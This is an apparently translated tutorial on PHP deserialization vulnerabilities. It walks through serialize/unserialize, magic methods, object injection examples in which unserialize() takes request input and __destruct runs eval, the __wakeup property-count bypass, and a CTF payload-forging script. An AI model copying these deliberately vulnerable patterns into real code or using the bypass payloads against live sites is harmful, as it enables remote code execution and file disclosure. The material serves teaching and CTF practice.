1 Preface
Recently I have been reviewing the content I have learned before, and I feel that I have an understanding of PHP deserialization It’s more in-depth, so I’ll summarize it here
2 serialize() function
“All values in php can use the function serialize() to return a word containing Represented by a throttling string. Serializing an object will save all the variables of the object, but will not save the object's methods, only the name of the class."
This concept may be a little confusing at first. , but then I gradually understood
When the program execution ends, the memory data will be destroyed immediately. The data stored in the variables is the memory data, and the files and databases are "persistent data", so the PHP sequence Storage is the process of "saving" variable data in memory to persistent data in a file.
Related learning recommendations: PHP programming from entry to proficiency
$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件
Let’s learn about serialization through a specific example:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.'is'.$this->age.'years old. <br />'; } } //创建一个对象 $user = new User(); // 设置数据 $user->age = 20; $user->name = 'daye'; //输出数据 $user->PrintData(); //输出序列化之后的数据 echo serialize($user); ?>
This is the result:
You can see that after serializing an object, all the variables of the object will be saved, and it is found that the serialized result has a character , these characters are abbreviations of the following letters.
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
After understanding the type letters of the abbreviation, you can get the PHP serialization format
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
Through the above example, you can understand the concept of returning a byte stream through the serialize() function The string of this paragraph.
3 unserialize() function
unserialize()
operate on a single serialized variable and convert it back PHP value. Before deserializing an object, the object's class must be defined before deserializing.
To put it simply, it is the process of restoring the serialized data stored in the file to the variable representation of the program code, and restoring the results before the variable serialization.
$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串) $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
Learn about deserialization through an example:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.' is '.$this->age.' years old. <br />'; } } //重建对象 $user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); $user->PrintData(); ?>
This is the result:
##Note: Before deserializing an object, the object's class must be defined before deserializing. Otherwise, an error will be reported
4 PHP deserialization vulnerability
Before learning the vulnerability, let’s first understand the PHP magic function, which will help with the next study It will be helpfulPHP reserves all class methods starting with __ (two underscores) as magic methods__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
<?php class test{ public $varr1="abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } } $obj = new test(); //实例化对象,调用__construct()方法,输出__construct $obj->echoP(); //调用echoP()方法,输出"abc" echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString $s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。 // 脚本结束又会调用__destruct()方法,输出__destruct ?>
5 Object injection
A vulnerability will occur when the user's request is not properly filtered before being passed to the deserialization function unserialize(). Because PHP allows object serialization, an attacker could submit a specific serialized string to a vulnerable unserialize function, ultimately leading to the injection of an arbitrary PHP object within the scope of the application. Object vulnerabilities must meet two prerequisites: 1. The parameters of unserialize are controllable. 2. A class containing a magic method is defined in the code, and there are some functions with security issues that use class member variables as parameters in the method. Let’s give an example:
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
6 Bypass the deserialization of the magic function
wakeup() magic function bypass
PHP5<5.6.25 PHP7<7.0.10
#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
百度杯——Hash
其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php
的内容
(1)绕过正则表达式对变量的检查
(2)绕过_wakeup()
魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php
,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php
那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i
,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+
,这个正则表达式即匹配不到0:+4
:
(2)绕过_wakeup()
魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行
编写php序列化脚本
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先创建一个对象,自动调用__construct魔法函数 $obj = new Demo('f15g_1s_here.php'); #进行序列化 $a = serialize($obj); #使用str_replace() 函数进行替换,来绕过正则表达式的检查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数 $a = str_replace(':1:',':2:',$a); #再进行base64编码 echo base64_encode($a); ?>
The above is the detailed content of Detailed explanation of php deserialization. For more information, please follow other related articles on the PHP Chinese website!